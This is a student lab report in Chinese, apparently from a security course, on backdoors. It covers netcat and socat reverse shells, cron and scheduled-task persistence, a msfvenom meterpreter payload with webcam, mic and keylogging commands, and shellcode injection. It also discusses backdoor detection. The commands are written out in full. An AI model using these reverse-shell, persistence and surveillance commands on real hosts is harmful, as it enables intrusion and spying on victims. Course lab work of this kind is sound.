20232302 2025-2026-1《网络与系统攻防技术》实验二实验报告

news/2025/10/22 12:19:11/文章来源:https://www.cnblogs.com/Pumpkin12138/p/19157647

   

      1、实验内容

  1. 使用netcat获取主机操作Shell,cron启动某项任务。
  2. 使用socat获取主机操作Shell, 任务计划启动 。
  3. 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。
  4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  6. 基础问题回答                                                                                                                                           (1)例举你能想到的一个后门进入到你系统中的可能方式?                                                                   攻击者入侵一个你常用的软件(如压缩工具、PDF阅读器)的官方更新服务器,将后门代码植入更新包。当你正常更新软件时,后门就随合法更新一起进入了你的系统。                                                           (2)例举你知道的后门如何启动起来(win及linux)的方式?                                                       ​Windows 系统:​​

​​注册表启动项​​:修改 Run、RunOnce等注册表键值,使系统启动时自动加载后门。
​​计划任务​​:创建一个在特定时间(如系统启动时、用户登录时)触发的计划任务来启动后门。
​​服务(Service)​​:将后门程序注册为系统服务,随系统核心进程一起启动。
​​Linux 系统:​​
​​系统服务​​:在 /etc/systemd/system/或 /etc/init.d/下创建自定义服务单元文件。
​​定时任务​​:利用 cron或 systemd定时器,设置系统重启后或定期执行后门程序。
​​Shell 配置文件​​:在用户级的启动文件如 ~/.bashrc或全局的 /etc/profile中插入启动命令。                          (3)Meterpreter有哪些给你映像深刻的功能?                                                                                             可以获取麦克风摄像头等功能,非常厉害。                                                                                              (4)如何发现自己有系统有没有被安装后门?                               

​​检查网络连接​​:使用 netstat等命令查看是否有未知程序在对外建立可疑连接。
​​检查启动项​​:审查系统和服务启动项(如 Windows 的计划任务、注册表,Linux 的 systemd、cron),查找可疑条目。
​​检查进程​​:查看运行中的进程列表,寻找名称可疑、资源占用异常的进程。
​​文件完整性检查​​:对比关键系统文件(如 ls, netstat等命令本身)的哈希值,看是否被后门版本替换。
​​监控系统性能​​:留意系统是否出现不明原因的卡顿、网络流量异常增高                                                       

2、实验过程 

2.1使用netcat获取主机操作Shellcron启动某项任务

首先记得关闭所有安全保护和防火墙,以便实验的顺利进行

 image

首先查看自己电脑和虚拟机的IP方便后续的作业

 

image

image

 接着使用netcat获取主机操作Shellcron启动任务

主机端输入ncat -lp 2302

image

虚拟机端输入nc 172.20.10.4 2302 -e /bin/sh

image

kali设置定时任务

通过crontab -e指令便捷定时任务,-e表示编辑文件最后一行添加33 **** nc 172.20.10.4 2302 -e /bin/sh

image

完成每小时的33分开启定时任务

image

如图定时任务生效

2.2使用socat获取主机操作Shell, 任务计划启动

首先在主机端安装socat

先在网站上下载好

image

接着在主机端打开2302端口

image

在主机端进入计算机管理界面选择任务计划程序设置自启动任务

image

image

等待预定时间,windows启动任务,socat运行获取shell

image

image

2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncatsocat传送到主机并运行获取主机Shell

虚拟机输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.131  LPORT=2302 -f exe > 20232302.exe生成后门程序。

image

再主机端输入ncat-lv2302 >20232302.exe接收

image

虚拟机输入nc 192.168.31.199 2314 < 20232314.exe将生成的后门程序传到主机中接着依次输入

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.136.129
set LPORT 2314

最后输入exploit进行监听,同时主机运行后门程序

image

6229671ef30a8438b888200bbee54805

如图成功获取到了主机的shell

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

在(3)的基础上,在meterpreter控制台中输入下列命令;

record_mic获取主机音频

webcam_snap获取主机摄像头内容

keyscan_start、keyscan_dump获取主机键盘输入内容

image

成功在虚拟机端得到主机端的摄像头内容

image

image

尝试进行提权

image

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成指定需要的shellcode并注入pwn1

image

image

接着利用chmod给新文件增加权限,最后回到终端获取shell

image

3、问题及解决方案

问题1:后门程序传输到主机之后无法打开

image

解决:通过询问老师和大模型更改程序为兼容模式后成功了

问题2:打开后门程序之后会出现进程died的情况

解决:重新关闭了所有安全系统防火墙,并更新

image

image

4、学习感悟

经过本次实验,我切身体会到后门程序对隐私安全的巨大威胁,攻击者能借此窃取摄像头画面、键盘输入等敏感信息,这凸显了日常排查与防御后门的极端重要性。实验中,Windows防火墙与设备安全保护机制展现出强大威力——一旦开启,多数攻击手段便难以生效,这提醒我们必须始终保持系统安全防护开启,并避免安装未经验证的程序。同时,我也认识到跨平台传输时编码格式的重要性,忽视转换将破坏数据完整性。通过使用Metasploit等集成化工具,我感受到专业渗透技术将复杂流程封装为简单命令的“高效性”,也意识到自身在底层命令和原理知识上的不足。未来,我将更注重夯实基础,不断提升实战能力与理论深度。

 

 

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943259.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年10月医用面膜产品推荐:权威对比评测榜揭晓前五强

一、引言 医美术后创面护理与敏感肌修复需求在2025年持续升温,创业者、采购者及终端消费者均面临“安全、有效、合规”三重决策压力:如何控制进货成本、保障临床效果、提升复购效率。本次评估采用动态对比模型,围绕…

【Redis学习】Redis常用数据类型的万字详解 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

P11024 做题报告

前言 调代码要笑着调 联考题目放在 T3 其实不然 NOIp 放个T2差不多了 具有多个常见的经典 trick,还是有点落实价值的 题意 给出长度为 \(n\) 的数组的终止状态,总共 \(m\) 次操作,每一次将区间 \([l,r]\) 的所有数字…

多模态数据湖技术深化,Data Agent新能力发布!“认知”将决定企业上限

火山引擎AI创新巡展武汉站成功举办,在下午场的「Data +AI专场闭门会」上,近百名来自各行业的企业管理人员和技术专家共同探讨了在AI浪潮下,企业如何跨越数据应用的鸿沟,真正实现既懂数据又懂业务的智能化升级。会上…

云斗 YDR Special# 004 S 模拟赛

, Rank .拜谢大水赛。玩爽了。[YDR Special# 004] YDSP 2025 云斗 CSP-S 二轮(复赛)全真模拟 链接:link 题解:暂无 时间:4h (2025.10.22 07:40~11:40) 题目数:4 难度:A B C D\(\color{#F39C11} 橙\) \(\color{…

实用指南:网络编程之TCP协议

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年10月投资纠纷律师推荐:五强榜单对比评测与选择指南

一、引言 在私募基金、信托计划、资管产品快速扩容的当下,投资纠纷已从偶发风险演变为高净值人群、机构投资者、家族办公室乃至创业者必须直面的常规课题。一旦触发兑付危机、估值跳水或管理人失联,资金回收窗口往往…

完整教程:大模型开发 - 04 QuickStart_DeepSeek 模型调用流程源码解析:从 Prompt 到远程请求

完整教程:大模型开发 - 04 QuickStart_DeepSeek 模型调用流程源码解析:从 Prompt 到远程请求2025-10-22 12:06 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !impo…

Web刷题篇-1 [BJDCTF2020]Easy MD5

打开可以看到如下界面: 打开Burp Suite,输入111后点击提交查询,可以看到如下图所示,将其发至Repeater。 切换至Repeater,进行发送后,可以看到在Response中password=md5($pass,true).这个时候就想到md5的万能…

doris集成vertica 数据源catalog

准备:linux编译环境,需要安装好docker,使用docker编译,同时可以运行linux版本的idea idea官方 下载一个社区版本即可。并复制到虚拟机linux环境的任意目录。启动即可。需要为linux配置好mavengithub 编译doris请参…

JUnit 6.0.0发布:Java 17基线、取消API与Kotlin协程支持

JUnit 6.0.0正式发布,统一平台版本并提升最低要求至Java 17。新增Kotlin协程测试支持、取消令牌API、内置Java飞行记录器监听器,采用JSpecify空值注解并迁移至FastCSV库。Vintage模块现已弃用,为JUnit 4用户提供迁移…

2025年10月上海ICL医生推荐榜:王晓瑛领衔五强对比

想在上海做ICL晶体植入,却担心医生经验不足、术后效果不稳、价格不透明?这是不少近视患者共同的焦虑。ICL手术对医生资质、晶体定制、术前评估要求极高,一旦选择失误,可能面临二次手术或视觉质量下降。2025年,上海…

2025年10月消泡剂厂家推荐:权威榜单一网打尽

如果您正在寻找稳定供货、技术响应快、性价比高的消泡剂厂家,大概率会陷入“信息过载”:网页广告繁多、参数口径不一、小厂贴牌混杂,担心样品与批量质量不一致,又怕售后无人跟进。尤其在2025年四季度环保核查趋严、…

详细介绍:老题新解|合法C标识符

详细介绍:老题新解|合法C标识符pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&qu…

国产化Excel开发组件Spire.XLS教程:使用Python将TXT文件转换为CSV

在 Python 中处理数据时,将 TXT 文本文件转换为 CSV 是数据分析、报表生成或跨应用共享数据的常见需求。本文将详细介绍如何借助Spire.XLS使用 Python 实现 TXT 文件转 CSV,包括单文件转换、批量转换以及处理不同分隔…

VMware Holodeck 9.0.1.0 发布 - 自动化部署 VCF 实验环境

VMware Holodeck 9.0.1.0 发布 - 自动化部署 VCF 实验环境VMware Holodeck 9.0 - 自动化部署 VCF 实验环境 高效管理虚拟机 (VM) 和容器工作负载,为本地部署的全栈超融合基础架构 (HCI) 提供云的优势。 请访问原文链接…

【AI大模型前沿】HunyuanWorld-Voyager:腾讯开源的超长漫游世界模型,开启3D场景生成新纪元 - 指南

【AI大模型前沿】HunyuanWorld-Voyager:腾讯开源的超长漫游世界模型,开启3D场景生成新纪元 - 指南2025-10-22 11:52 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal …

[题解]meal

题目描述 下课铃终于响了,你和一群朋友(共 N 人)一起冲到食堂。因为你们到的非常早,现在食堂窗口前面还没有人。食堂共有两个窗口。你们每个人打饭会耗时 a i,打完立刻去座位上吃饭会耗时 b i,由于你们吃完饭要一…

CADSoftTools发布两款重要更新:CAD VCL Multiplatform 16.2 与 CAD .NET 16全新发布

近日,CADSoftTools 宣布推出两款产品更新——CAD VCL Multiplatform 16.2 与 CAD .NET 16。两款新版本均在性能与兼容性方面实现重大提升,为 Delphi、C++Builder 以及 .NET 开发者打造更加高效、现代化的 CAD 应用开…

linux常用命令 - 实践

linux常用命令 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "…